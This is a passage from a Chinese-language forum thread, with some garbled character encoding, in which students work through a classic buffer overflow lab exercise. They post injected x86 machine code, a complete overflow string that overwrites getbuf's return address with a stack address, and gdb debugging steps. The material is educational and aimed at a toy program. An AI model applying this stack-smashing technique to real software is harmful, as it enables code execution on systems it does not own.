二 從到達(dá)斷點(diǎn)時的提示信息來看,此時程序停在0x080484bf處(下一條要執(zhí)行的指令是0x080484bf處的指令),這時打印出的ebp感覺就是getbuf的frame pointer值(%ebp),因為0x080484bd處的指令movl %esp, %ebp 應(yīng)該已經(jīng)執(zhí)行了,從圖中打印出的(%ebp+4)地址處的內(nèi)容也可以看出(打印出的就是getbuf返回test的return address 0x80484e9)
三 關(guān)于機(jī)器指令的排列順序,我感覺第三個圖中的排列順序應(yīng)該是對的,不過由于讓程序轉(zhuǎn)去執(zhí)行buf[]中的內(nèi)容這個嘗試總不成功,也不好說,也可能是錯的。不過感覺如果指令排列順序錯了,不應(yīng)該會在getbuf的ret語句處就出現(xiàn)segmentation fault吧,感覺ret "buf地址" 時系統(tǒng)就取不到buf[]地址處的內(nèi)容似的...
由于原題目(前面貼出了)中提示說讓在buf[]中輸入機(jī)器指令,覺得這個做法(修改getbuf返回地址,讓程序轉(zhuǎn)去執(zhí)行buf[]中內(nèi)容的方法)應(yīng)該是對的。但不知道為什么實現(xiàn)不了...
converse 回復(fù)于:2005-02-18 11:43:28 我試了N次,覺得理論上應(yīng)該是沒有問題的,可是就是不行.

zne的思路是往緩沖區(qū)寫如如下的代碼:
[code:1:ab4b9ff31f]
asm("movl $0xdeadbeef,%eax");
asm("pushl $0x080484e9");
asm("ret");
[/code:1:ab4b9ff31f]
其中的$0x080484e9具體情況下不盡相同,這個是test函數(shù)在調(diào)用完getbuf以后下一條指令的地址,就是說他的想法是在test函數(shù)中插入
movl $0xdeadbeef,%eax
這條指令.
上面這三條匯編碼的機(jī)器指令是:
[code:1:ab4b9ff31f]
b8 ef be ad de
68 e9 84 04 08
c3
[/code:1:ab4b9ff31f]
所以只需要往緩沖區(qū)里寫入這三條機(jī)器碼然后把getbuf的返回地址改為這三個機(jī)器碼的起始位置就可以了,我原來認(rèn)為他把機(jī)器碼的順序?qū)懛戳?可是我自己寫了寫還是不行..........
aero 回復(fù)于:2005-02-18 14:23:02 看了,converse的解釋,明白了。好!又是一種思路!
試驗成功了!不知道你們錯哪里的。仔細(xì)做應(yīng)該沒問題的,思路是對的。我也做了好久,后來發(fā)現(xiàn)把一個e8寫成f8了。
另外,發(fā)現(xiàn)gdb中,用b getbuf和b 38(用行號)設(shè)置的斷點(diǎn)是不一樣的,后者設(shè)置的就是沒執(zhí)行pushl %ebp指令的,而前者就是執(zhí)行了的。
zne 回復(fù)于:2005-02-18 14:33:06 成功了^_^ 好啊好阿,幫我看看吧
就是我貼的第一副截圖和第三副截圖,看第三副截圖的操作有什么錯誤么,是不是機(jī)器指令順序錯了呢?
我照第三幅圖的做法試過挺多次的了... 各種地址和指令應(yīng)該都沒錯的
converse 回復(fù)于:2005-02-18 14:51:47 aero截圖來說明,夾敘夾議帶抒情的那種:)
aero 回復(fù)于:2005-02-18 15:39:10 我的填充串是這樣的:b8 ef be ad de 68 bf 84 04 08 c3 00 01 02 03 04 05 06 07 08 09 10 11 12 e8 ef ff bf c0 ef ff bf


   本篇文章共13頁,此頁為第12頁   上一頁   下一頁





1、前11個字節(jié)就是那三條指令,而指令的地址也正是用objdump看出來的,這里是080484bf。
2、后面的13個字節(jié)是buf中剩余的字節(jié)和gcc為了對齊(也許不全是,因為整整空了12個字節(jié)不使用)而空出來的12個字節(jié)。
3、接下來的4個字節(jié)就是原來堆棧里的ebp(test函數(shù)的STP的ebp,就是getbuf函數(shù)開始push進(jìn)去的ebp)。
4、然后的4個字節(jié)就是getbuf返回的eip,修改它,將它修改成buf的起始地址,這個是通過在gdb中使用p &buf命令看出來的(這個地方還有一個問題不明白,一會說)。
5、后面的4個字節(jié)是同2一樣的無用空間。然后的4個字節(jié)就是val了。由于getxs函數(shù)會在buf的末尾加上一個'\0',所以將這個'\0'放在這個無用的空間是無害的。
整個填充串就這樣完成了。
我開始的時候把3中的ebp搞錯了,搞了好常時間沒出來。后來用gdb的x命令觀察堆棧,并單步執(zhí)行,發(fā)現(xiàn)ebp的值不是我原來的那個了(寫blog上那篇文章中的時候),和那個不一樣了。^_^,偷懶偷不得!
zne 回復(fù)于:2005-02-18 19:52:06 >>我的填充串是這樣的:b8 ef be ad de 68 bf 84 04 08 c3 00 01 02 03 04 05 06 07 08 09 10 11 12 e8 ef ff bf c0 ef ff bf
b8 ef be ad de 68 bf 84 04 08 c3 00 01 02 03 04 05 06 07 08 09 10 11 12 這部分沒意見,下面的test的frame pointer我覺得我輸入的也是對的(不過這里有個問題,一會會提到),關(guān)鍵就在buf[]的地址上,是怎么來得到的?
我就是在運(yùn)行到getbuf的斷點(diǎn)時(此時已執(zhí)行了push %ebp和movl %esp,%ebp)
print /x ($ebp-24) 來得到buf[]地址的,我感覺應(yīng)該也沒有錯
但是有一個問題,我看有一些書里寫對每個linux程序來說,代碼段都從0x08048000開始,stack frame段都從0xbfffffff開始,
aero得到的test 的frame pointer是0xbfffefe8,buf[]地址是0xbfffefc0,顯然是符合這個說法的
而我打印出的test 的frame pointer是0xfeeb7ff8,buf[]地址是0xfeeb7fc0,跟書上的說法不符,都比0xbfffffff大出很多... 不知道converse你的情況怎么樣?
我的系統(tǒng)是fedora core 2,去年10月買的,就圖書城里買的那種9張cd一張dvd的那種,有沒有可能是這個系統(tǒng)不許程序執(zhí)行數(shù)據(jù)段,尤其是堆棧段的內(nèi)容呢?



aero 回復(fù)于:2005-02-18 22:10:51 >>我就是在運(yùn)行到getbuf的斷點(diǎn)時(此時已執(zhí)行了push %ebp和movl %esp,%ebp) print /x ($ebp-24) 來得到buf[]地址的,我感覺應(yīng)該也沒有錯 的確,感覺這樣也沒有錯!呵呵,今天上班有點(diǎn)忙,就沒多看,明天到公司在看看。 另外,我說的那個問題就是:當(dāng)用b 38(行號)設(shè)置斷點(diǎn)的時候,r到這里的時候是剛剛執(zhí)行完畢call指令(可以用x命令看堆?闯鰜恚T谶@個時候執(zhí)行p &buf得出的地址值并不是buf的真實地址。而n了一步以后,就實執(zhí)行了建立getbuf函數(shù)的STP后執(zhí)行p &buf得出的才實真是的buf地址。不知道為什么。那么前面的那個buf是哪個buf呢?如果沒有可見的變量,gdb應(yīng)該報變量未知啊,而它卻打出了數(shù)值。






歡迎光臨 (http://www.torrancerestoration.com/bbs/) Powered by Discuz! X3.1